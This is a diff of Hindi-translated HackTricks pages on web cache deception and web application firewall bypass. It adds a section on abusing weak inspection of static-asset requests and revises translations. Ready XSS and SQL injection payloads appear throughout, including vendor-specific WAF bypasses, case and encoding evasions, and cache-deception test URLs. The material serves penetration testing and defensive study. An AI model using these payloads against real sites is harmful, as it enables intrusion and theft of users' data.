@ -202,7 +238,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
Cache Deception का लक्ष्य है कि ग्राहक **उन संसाधनों को लोड करें जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
|
||||
सबसे पहले, ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश शायद प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** **सुरक्षित** उपयोगकर्ता सामग्री के साथ _www.example.com/profile.php_ के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्री को **चुरा** सकते हैं।
|
||||
सबसे पहले ध्यान दें कि **विस्तार** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **विस्तार** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें:
|
||||
|
||||
@ -211,19 +247,19 @@ Cache Deception का लक्ष्य है कि ग्राहक **उ
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _कम ज्ञात एक्सटेंशन जैसे_ `.avif` का उपयोग करें
|
||||
- _कम ज्ञात विस्तार जैसे_ `.avif` का उपयोग करें
|
||||
|
||||
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ जैसे _http://www.example.com/home.php/non-existent.css_ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
फिर, **हमलावर** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
|
||||
ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के विस्तार** (_ .css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _ .css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
|
||||
यहां जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
यहाँ जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का उपयोग करके किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang स्कैनर जो URLs की एक सूची में वेब कैश पॉइज़निंग कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए है।
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): URLs की एक सूची में वेब कैश जहर देने की कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए Golang स्कैनर।
|
||||
|
||||
## References
|
||||
|
||||
@ -233,6 +269,8 @@ Cache Deception का लक्ष्य है कि ग्राहक **उ
|
||||
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -70,22 +70,22 @@ location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Mod Security नियमों को बायपास करें <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### पथ भ्रम
|
||||
### Path Confusion
|
||||
|
||||
[**इस पोस्ट में**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) बताया गया है कि ModSecurity v3 (3.0.12 तक), **`REQUEST_FILENAME`** वेरिएबल को गलत तरीके से लागू किया गया था, जिसमें वह पथ होना चाहिए था जिसे एक्सेस किया गया था (पैरामीटर की शुरुआत तक)। इसका कारण यह है कि यह पथ प्राप्त करने के लिए एक URL डिकोड करता है।\
|
||||
[**इस पोस्ट में**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) बताया गया है कि ModSecurity v3 (3.0.12 तक), **`REQUEST_FILENAME`** वेरिएबल को गलत तरीके से लागू किया गया था, जिसे एक्सेस किए गए पथ (पैरामीटर की शुरुआत तक) को शामिल करना था। इसका कारण यह है कि यह पथ प्राप्त करने के लिए एक URL डिकोड करता है।\
|
||||
इसलिए, एक अनुरोध जैसे `http://example.com/foo%3f';alert(1);foo=` में मोड सुरक्षा यह मान लेगा कि पथ केवल `/foo` है क्योंकि `%3f` को `?` में परिवर्तित किया गया है जो URL पथ को समाप्त करता है, लेकिन वास्तव में सर्वर को प्राप्त होने वाला पथ `/foo%3f';alert(1);foo=` होगा।
|
||||
|
||||
वेरिएबल `REQUEST_BASENAME` और `PATH_INFO` भी इस बग से प्रभावित हुए थे।
|
||||
|
||||
Mod Security के संस्करण 2 में कुछ समान हुआ जिसने एक सुरक्षा को बायपास करने की अनुमति दी जो उपयोगकर्ता को बैकअप फ़ाइलों से संबंधित विशिष्ट एक्सटेंशन वाली फ़ाइलों तक पहुँचने से रोकती थी (जैसे `.bak`) बस डॉट को `%2e` में URL एन्कोड करके भेजकर, उदाहरण के लिए: `https://example.com/backup%2ebak`।
|
||||
Mod Security के संस्करण 2 में कुछ समान हुआ था जिसने एक सुरक्षा को बायपास करने की अनुमति दी थी जो उपयोगकर्ता को बैकअप फ़ाइलों से संबंधित विशिष्ट एक्सटेंशन वाली फ़ाइलों तक पहुँचने से रोकती थी (जैसे `.bak`) बस डॉट को `%2e` में URL एन्कोड करके भेजकर, उदाहरण के लिए: `https://example.com/backup%2ebak`।
|
||||
|
||||
## AWS WAF ACL को बायपास करें <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### गलत फ़ॉर्मेटेड हेडर
|
||||
### Malformed Header
|
||||
|
||||
[यह शोध](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) बताता है कि HTTP हेडर पर लागू AWS WAF नियमों को "गलत फ़ॉर्मेटेड" हेडर भेजकर बायपास करना संभव था जिसे AWS द्वारा सही तरीके से पार्स नहीं किया गया लेकिन बैकएंड सर्वर द्वारा किया गया।
|
||||
[यह शोध](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) बताता है कि AWS WAF नियमों को HTTP हेडर पर बायपास करना संभव था एक "गलत प्रारूप" हेडर भेजकर जिसे AWS द्वारा सही तरीके से पार्स नहीं किया गया था लेकिन बैकएंड सर्वर द्वारा किया गया था।
|
||||
|
||||
उदाहरण के लिए, हेडर X-Query में SQL इंजेक्शन के साथ निम्नलिखित अनुरोध भेजना:
|
||||
```http
|
||||
@ -106,24 +106,41 @@ Connection: close\r\n
|
||||
|
||||
- AWS WAF के लिए, आप [**दस्तावेज़ देखें**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>ऐप्लिकेशन लोड बैलेंसर और AWS AppSync सुरक्षा के लिए निरीक्षण किया जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार</td><td>8 KB</td></tr><tr><td>CloudFront, API गेटवे, Amazon Cognito, App Runner, और Verified Access सुरक्षा के लिए निरीक्षण किया जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>ऐप्लिकेशन लोड बैलेंसर और AWS AppSync सुरक्षा के लिए निरीक्षण किए जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार</td><td>8 KB</td></tr><tr><td>CloudFront, API गेटवे, Amazon Cognito, ऐप रनर, और वेरिफाइड एक्सेस सुरक्षा के लिए निरीक्षण किए जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- [**Azure दस्तावेज़ों से**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
पुराने वेब एप्लिकेशन फ़ायरवॉल जिनमें कोर नियम सेट 3.1 (या उससे कम) है, **128 KB** से बड़े संदेशों की अनुमति देते हैं, लेकिन ये संदेश कमजोरियों के लिए जांचे नहीं जाएंगे। नए संस्करणों (कोर नियम सेट 3.2 या नए) के लिए, अधिकतम अनुरोध शरीर सीमा को अक्षम करके यही किया जा सकता है। जब एक अनुरोध आकार सीमा को पार करता है:
|
||||
पुराने वेब एप्लिकेशन फ़ायरवॉल जिनमें कोर नियम सेट 3.1 (या उससे कम) है, वे **128 KB** से बड़े संदेशों की अनुमति देते हैं, लेकिन ये संदेश कमजोरियों के लिए जांचे नहीं जाएंगे। नए संस्करणों (कोर नियम सेट 3.2 या नए) में, अधिकतम अनुरोध शरीर सीमा को अक्षम करके यही किया जा सकता है। जब एक अनुरोध आकार सीमा को पार करता है:
|
||||
|
||||
यदि **रोकथाम मोड**: अनुरोध को लॉग करता है और ब्लॉक करता है।\
|
||||
यदि **पता लगाने का मोड**: सीमा तक निरीक्षण करता है, बाकी को अनदेखा करता है, और यदि `Content-Length` सीमा को पार करता है तो लॉग करता है।
|
||||
|
||||
- [**Akamai से**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
|
||||
डिफ़ॉल्ट रूप से, WAF केवल अनुरोध के पहले 8KB का निरीक्षण करता है। यह उन्नत मेटाडेटा जोड़कर सीमा को 128KB तक बढ़ा सकता है।
|
||||
डिफ़ॉल्ट रूप से, WAF केवल अनुरोध के पहले 8KB का निरीक्षण करता है। इसे उन्नत मेटाडेटा जोड़कर 128KB तक बढ़ाया जा सकता है।
|
||||
|
||||
- [**Cloudflare से**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
|
||||
128KB तक।
|
||||
|
||||
### ओबफस्केशन <a href="#obfuscation" id="obfuscation"></a>
|
||||
### स्थिर संपत्तियों की निरीक्षण में अंतर (.js GETs)
|
||||
|
||||
कुछ CDN/WAF स्टैक्स स्थिर संपत्तियों के लिए GET अनुरोधों पर कमजोर या कोई सामग्री निरीक्षण लागू करते हैं (उदाहरण के लिए `.js` के साथ समाप्त होने वाले पथ), जबकि फिर भी दर सीमित करने और IP प्रतिष्ठा जैसे वैश्विक नियम लागू करते हैं। स्थिर एक्सटेंशनों के स्वचालित कैशिंग के साथ मिलकर, इसका दुरुपयोग किया जा सकता है ताकि दुर्भावनापूर्ण रूपांतर वितरित या बीजित किए जा सकें जो बाद के HTML प्रतिक्रियाओं को प्रभावित करते हैं।
|
||||
|
||||
व्यावहारिक उपयोग के मामले:
|
||||
|
||||
- सामग्री निरीक्षण से बचने के लिए एक GET पर `.js` पथ पर अविश्वसनीय हेडर (जैसे, `User-Agent`) में पेलोड भेजें, फिर तुरंत मुख्य HTML का अनुरोध करें ताकि कैश किए गए रूपांतर को प्रभावित किया जा सके।
|
||||
- एक ताजा/स्वच्छ IP का उपयोग करें; एक बार जब एक IP को झंडा लगाया जाता है, तो रूटिंग परिवर्तनों से तकनीक अविश्वसनीय हो सकती है।
|
||||
- Burp Repeater में, "Send group in parallel" (एकल-पैकेट शैली) का उपयोग करें ताकि दो अनुरोधों (`.js` फिर HTML) को एक ही फ्रंट-एंड पथ के माध्यम से दौड़ाया जा सके।
|
||||
|
||||
यह हेडर-रिफ्लेक्शन कैश पॉइज़निंग के साथ अच्छी तरह से मेल खाता है। देखें:
|
||||
|
||||
- {{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [कैसे मैंने एक 0-Click खाता अधिग्रहण पाया और इसे प्रशासन स्तर की कार्यक्षमताओं तक पहुँचने के लिए उपयोग किया](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### ओबफस्केशन <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
@ -141,15 +158,15 @@ Unicode सामान्यीकरण के कार्यान्वय
|
||||
# to the XSS payload on the right
|
||||
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
|
||||
```
|
||||
### संदर्भ WAFs को एन्कोडिंग के साथ बायपास करें <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) में उल्लेख किया गया है, उपयोगकर्ता इनपुट के संदर्भ को बनाए रखने में सक्षम WAFs को बायपास करने के लिए, हम WAF तकनीकों का दुरुपयोग कर सकते हैं ताकि वास्तव में उपयोगकर्ताओं के इनपुट को सामान्य किया जा सके।
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) में उल्लेख किया गया है, WAFs को बायपास करने के लिए जो उपयोगकर्ता इनपुट का संदर्भ बनाए रख सकते हैं, हम WAF तकनीकों का दुरुपयोग कर सकते हैं ताकि वास्तव में उपयोगकर्ताओं के इनपुट को सामान्यीकृत किया जा सके।
|
||||
|
||||
उदाहरण के लिए, पोस्ट में उल्लेख किया गया है कि **Akamai ने एक उपयोगकर्ता इनपुट को 10 बार URL डिकोड किया**। इसलिए कुछ ऐसा जैसे `<input/%2525252525252525253e/onfocus` को Akamai द्वारा `<input/>/onfocus` के रूप में देखा जाएगा, जो **सोच सकता है कि यह ठीक है क्योंकि टैग बंद है**। हालाँकि, जब तक एप्लिकेशन इनपुट को 10 बार URL डिकोड नहीं करता, पीड़ित कुछ ऐसा देखेगा जैसे `<input/%25252525252525253e/onfocus` जो **XSS हमले के लिए अभी भी मान्य है**।
|
||||
|
||||
इसलिए, यह **एन्कोडेड घटकों में पेलोड्स को छिपाने की अनुमति देता है** जिसे WAF डिकोड और व्याख्या करेगा जबकि पीड़ित नहीं करेगा।
|
||||
इसलिए, यह **कोडित घटकों में पेलोड्स को छिपाने की अनुमति देता है** जिसे WAF डिकोड और व्याख्या करेगा जबकि पीड़ित नहीं करेगा।
|
||||
|
||||
इसके अलावा, यह केवल URL एन्कोडेड पेलोड्स के साथ ही नहीं किया जा सकता है, बल्कि अन्य एन्कोडिंग जैसे यूनिकोड, हेक्स, ऑक्टल के साथ भी किया जा सकता है...
|
||||
इसके अलावा, यह केवल URL कोडित पेलोड्स के साथ ही नहीं किया जा सकता है बल्कि अन्य कोडिंग जैसे यूनिकोड, हेक्स, ऑक्टल के साथ भी किया जा सकता है...
|
||||
|
||||
पोस्ट में निम्नलिखित अंतिम बायपास का सुझाव दिया गया है:
|
||||
|
||||
@ -158,27 +175,27 @@ Unicode सामान्यीकरण के कार्यान्वय
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
यह भी उल्लेख किया गया है कि **कुछ WAFs उपयोगकर्ता इनपुट के संदर्भ को कैसे समझते हैं** के आधार पर, इसका दुरुपयोग करना संभव हो सकता है। ब्लॉग में प्रस्तावित उदाहरण यह है कि Akamai ने `/*` और `*/` के बीच कुछ भी डालने की अनुमति दी (संभवतः क्योंकि इसका उपयोग सामान्यतः टिप्पणियों के रूप में किया जाता है)। इसलिए, एक SQLinjection जैसे `/*'or sleep(5)-- -*/` को पकड़ा नहीं जाएगा और यह मान्य होगा क्योंकि `/*` इंजेक्शन की प्रारंभिक स्ट्रिंग है और `*/` टिप्पणी की गई है।
|
||||
यह भी उल्लेख किया गया है कि **कुछ WAFs उपयोगकर्ता इनपुट के संदर्भ को कैसे समझते हैं** के आधार पर, इसका दुरुपयोग करना संभव हो सकता है। ब्लॉग में प्रस्तावित उदाहरण यह है कि Akamai ने `/*` और `*/` के बीच कुछ भी डालने की अनुमति दी (संभवतः क्योंकि इसका उपयोग सामान्यतः टिप्पणियों के रूप में किया जाता है)। इसलिए, एक SQLinjection जैसे `/*'or sleep(5)-- -*/` को नहीं पकड़ा जाएगा और यह मान्य होगा क्योंकि `/*` इंजेक्शन की प्रारंभिक स्ट्रिंग है और `*/` टिप्पणी की गई है।
|
||||
|
||||
इस प्रकार की संदर्भ समस्याओं का उपयोग **अन्य कमजोरियों का दुरुपयोग करने के लिए भी किया जा सकता है** जो WAF द्वारा शोषित होने की अपेक्षा की जाती है (जैसे, इसका उपयोग XSS को शोषित करने के लिए भी किया जा सकता है)।
|
||||
|
||||
### H2C स्मगलिंग <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### IP रोटेशन <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf के साथ उपयोग के लिए एक API गेटवे URL उत्पन्न करें
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireprox के समान
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite प्लगइन जो API गेटवे IPs का उपयोग करता है
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): एक गतिशील रूप से निर्धारित संख्या में कंटेनर उदाहरणों को इनपुट फ़ाइल के आकार और विभाजन कारक के आधार पर सक्रिय किया जाता है, जिसमें इनपुट को समानांतर निष्पादन के लिए टुकड़ों में विभाजित किया जाता है, जैसे 100 उदाहरण 10,000-लाइन इनपुट फ़ाइल से 100 टुकड़ों को संसाधित करते हैं जिसमें विभाजन कारक 100 पंक्तियाँ हैं।
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): एक गतिशील रूप से निर्धारित संख्या में कंटेनर उदाहरण सक्रिय होते हैं जो इनपुट फ़ाइल के आकार और विभाजन कारक के आधार पर होते हैं, जिसमें इनपुट को समानांतर निष्पादन के लिए टुकड़ों में विभाजित किया जाता है, जैसे 100 उदाहरण 10,000-लाइन इनपुट फ़ाइल से 100 टुकड़ों को संसाधित करते हैं जिसमें विभाजन कारक 100 पंक्तियाँ हैं।
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex बायपास
|
||||
### Regex Bypasses
|
||||
|
||||
फायरवॉल पर regex फ़िल्टर को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरणों में केस को वैकल्पिक करना, लाइन ब्रेक जोड़ना और पेलोड्स को एन्कोड करना शामिल हैं। विभिन्न बायपास के लिए संसाधन [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) और [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) पर पाए जा सकते हैं। नीचे दिए गए उदाहरण [इस लेख](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) से लिए गए हैं।
|
||||
विभिन्न तकनीकों का उपयोग फायरवॉल पर regex फ़िल्टर को बायपास करने के लिए किया जा सकता है। उदाहरणों में वैकल्पिक केस, लाइन ब्रेक जोड़ना, और पेलोड को कोडित करना शामिल हैं। विभिन्न बायपास के लिए संसाधन [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) और [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) पर पाए जा सकते हैं। नीचे दिए गए उदाहरण [इस लेख](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) से लिए गए थे।
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -199,16 +216,17 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||||
```
|
||||
## उपकरण
|
||||
## Tools
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): लंबाई के द्वारा WAFs को बायपास करने के लिए अनुरोधों में जंक डेटा जोड़ने के लिए बर्प प्लगइन
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp प्लगइन जो लंबाई के द्वारा WAFs को बायपास करने के लिए अनुरोधों में जंक डेटा जोड़ता है
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user